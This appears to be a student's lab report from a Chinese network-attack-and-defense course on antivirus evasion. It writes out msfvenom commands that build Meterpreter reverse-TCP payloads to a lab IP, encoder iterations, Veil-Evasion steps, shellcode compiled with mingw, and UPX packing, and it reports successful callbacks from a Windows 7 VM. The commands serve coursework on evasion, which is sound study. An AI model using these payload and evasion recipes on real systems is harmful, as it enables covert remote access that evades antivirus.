20155229《网络对抗技术》Exp3:免杀原理与实践
实验预习
免杀: 看为一种能使病毒木马避免被杀毒软件查杀的技术。
免杀的分类:
- 开源免杀:指在有病毒、木马源代码的前提下,通过修改源代码进行免杀。。
 - 手工免杀:指在仅有病毒、木马的可执行文件(.exe)(PE文件)的情况下进行免杀。:
 
文件免杀方法:
- 加冷门壳
 - 加壳改壳:在加壳的基础上进行修改。
 - 加花指令:加花的原理就是通过添加加花指令让杀毒软件检测不到特征码,干扰杀毒软件正常的检测。
 - 改程序入口点:修改程序入口点
 
实验内容
msfvenom直接生成meterpreter可执行文件
Msfvenom使用编码器
写在前面:我的文件放入主机上自动就被360杀毒杀去了,实验中我将360杀毒关去,所以没有用360进行扫描,也没有弄360扫描的结果。
- 使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.126.135 LPORT=5229 -f exe > fyhtvxq.exe进行编码。 

然后将其放到
http://r.virscan.org/该网站进行检测。结果如下:

结果和我想象的不一样啊,为什么会什么都没有呢,使用
# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.126.135 LPORT=5229 -f exe > fyhtvxq.exe进行多次编码,结果还是一样。去查了一些同学的博客,发现没有人遇到我这种问题。。。我也没找到解决的办法。。。而后来我用上周实验生成编码的方式又重新试了一遍,发现能够检测出危险。
# msfvenom -p windows/meterpreter/reverse_tcp -e LHOST=192.168.126.135 LPORT=5229 -f exe > fyhtvxq.exe


- 上周的编码是很有问题的是显而易见的,毕竟能够监控别的主机,可是很坏了,但是同时也说明有些杀毒软件连这个都没查出来,是不是有些菜啊。。。
 
Veil-Evasion
- Veil-Evasion是一个免杀平台,与Metasploit有点类似,用其他语言如c,c#,phython,ruby,go,powershell等重写了meterperter,然后再通过不同方式编译成exe,共性特征比较少。
 输入
veil进入平台

输入
use python/meterpreter/rev_tcp设置payload
set LHOST 192.168.126.135设置反弹IP地址
set LPORT 5229设置反弹端口
generate生成文件

- 然后对文件进行命名,但会出现错误
 

- 于是将程序换成C语言,重新按照上述步骤在走一遍,可以生成可执行文件
 

- 再将该文件放入网站中进行检测(因为刚开始找的是其他文件夹,所以又生成了好几个.exe文件,结果发现文件夹找错了)
 


- 本次只有10个软件检测出来了,看来veil平台生成的文件,还是有些小厉害的。
 
因为之前自己做的时候回连失败,而且忘记截图了,今天下午实验课,我用veil新生成的fyh5629.exe文件进行了回连,并且成功。(弥补一下之前的失败~)

C语言调用Shellcode
- 使用
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.135 LPORT=5229 -f c命令生成一个shellcode数组 

- 然后将该数组编写一个程序,用
i686-w64-mingw32-g++ shellfyh.c -o met5229.exe命令将该代码转换为.exe文件。 

- 对该.exe文件 进行检测,比veil平台的文件还要厉害些!
 

- 将该文件传入win7虚拟机中,想进行回连,但是立马就被我在安装win7上的360给清除了。。。
 

实验课我弥补了一下自己做的时候的回连失败(实验课fyh5729.exe回连成功),并且我也不知到为什么360安全卫士没有扫描出问题


- 打开VS,将shellcode数组重新编一个c代码,但是不管怎么生成,一直都会报错,在网上找了解决的方案,
 

项目右键->属性->配置属性->C/C++->常规->附加包含目录 输入$(ProjectDir)
- 但是还是没法编译,我只好放弃这种方法。。。
 
加壳
- 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
 UPX是压缩壳,减少应用体积。
使用命令
upx 需要加壳的文件名 -o 加壳后的文件名对想加壳的.exe文件进行加壳,加壳后进行检测。


- 然后使用刚加壳出炉的
fyh5229.exe想对其进行加壳,但是失败了,不能进行多次加壳。 

- 然后我将之前通过veil生成的文件进行加壳,然后检测,可是结果并没有好太多。
 


用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

基础问题问答
(1)杀软是如何检测出恶意代码的?
答:
我认为杀软会根据代码是否会对电脑系统、文件等做出不好的行动,来判断该代码是否为恶意代码。
在以前检测出的恶意代码的基础上,会留意与之相类似的代码,来判断。
(2)免杀是做什么?
答: 一种能使病毒木马避免被杀毒软件查杀的技术。
(3)免杀的基本方法有哪些?
答:
- 加冷门壳
 - 加壳改壳:在加壳的基础上进行修改。
 - 加花指令:加花的原理就是通过添加加花指令让杀毒软件检测不到特征码,干扰杀毒软件正常的检测。
 - 改程序入口点:修改程序入口点
 
离实战还缺些什么技术或步骤?
- 怎样安全又稳妥一次的将后门程序放入其他人的主机,且不会被发现。杀毒软件在更新,人们的 防范心理也在变强,所以想让靶机的主人对文件“上当”也有难度。
 
实验中遇到的问题及解决
遇到的问题不管有没有解决已经在上述实验内容中了。。。
实验总结与体会
相比于上次实验的小马宝丽,这次实验给我更多的收获是,一次一次对制作出来的文件进行检测,比较每次被检测出来的比例,想要将文件的危险指数降低,这样让自己有更多的自豪感,当然也就只能做出来玩玩,毕竟不能干坏事,但是大家都会制作后门了,可能还是要防范一下大家?哈哈哈哈哈开玩笑(●'◡'●)。
20155229《网络对抗技术》Exp3:免杀原理与实践的更多相关文章
- 20145215《网络对抗》Exp3 免杀原理与实践
		
20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...
 - 20155227《网络对抗》Exp3 免杀原理与实践
		
20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...
 - 20155232《网络对抗》Exp3 免杀原理与实践
		
20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...
 - 20155302《网络对抗》Exp3 免杀原理与实践
		
20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...
 - 20155323刘威良《网络对抗》Exp3 免杀原理与实践
		
20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...
 - 20155333 《网络对抗》Exp3 免杀原理与实践
		
20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...
 - 20145307陈俊达《网络对抗》Exp3 免杀原理与实践
		
20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...
 - 20155218《网络对抗》Exp3 免杀原理与实践
		
20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...
 - 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践
		
20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...
 - 20155338《网络对抗》Exp3 免杀原理与实践
		
20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...
 
随机推荐
- Android之编写测试用例
			
测试是软件工程中一个非常重要的环节,而测试用例又可以显著地提高测试的效率和准确性.测试用例其实就是一段普通的程序代码,通常是带有期望的运行结果的,测试者可以根据最终的运行结果来判断程序是否能正常工作. ...
 - JavaScript语法详解:if语句&for循环&函数
			
本文首发于博客园,并在GitHub上持续更新前端的系列文章.欢迎在GitHub上关注我,一起入门和进阶前端. 以下是正文. if语句 最基本的if语句 if语句的结构体:(格式) if (条件表达式) ...
 - Oracle EBS INV 创建物料搬运单
			
Create or Replace PROCEDURE ProcessMoveOrder AS -- Common Declarations l_api_version NUMBER := 1.0; ...
 - axios的get,post方法
			
学习vue和nodejs的过程当中,涉及到了axios,今天为了测试,写了get和post两个方法来跟node服务端交互,结果因为header和参数弄了好久,在此记录一下,同时分享; 由于刚接触axi ...
 - pip 设置国内源
			
最近使用 pip 安装包,动辄十几 k 甚至几 k 的下载速度,确实让人安装的时候心情十分不好.所以还是要给 pip 换一个国内的源.可以显著的提升安装速度.有更多的时间来研究算法. 下面,列一下收集 ...
 - Java-控制台传递参数
			
今天组长叫我把所有的参数(写死的),用控制器输入,使其变成可变的. ------我的程序是需要读取文件的,控制台输入即,是文件放在哪我都可以读取. 比如我需要读取的demo.txt文件在D盘根目录下, ...
 - Linux 配置 hosts
			
1. hosts 是什么 维基百科对 hosts 的介绍如下: hosts文件(域名解析文件)是一个用于储存计算机网络中各节点信息的计算机文件. 这个文件负责将主机名称映射到相应的IP地址. host ...
 - Win7命令终端基础配色指南
			
微软对控制台字体的元数据有严格的限制,https://support.microsoft.com/zh-cn/help/247815/necessary-criteria-for-fonts-to-b ...
 - Django有关的所有命令
			
1. Django的安装 pip install django ==1.11.11 pip install -i yuan django==1.11.11 2. 创建项目 django-admin s ...
 - pig:group by之后的其它统计方法一
			
--测试Top N后的其它统计 A = LOAD '/TraceParser/blackcore/' USING PigStorage() as (lk_id:chararray,host:chara ...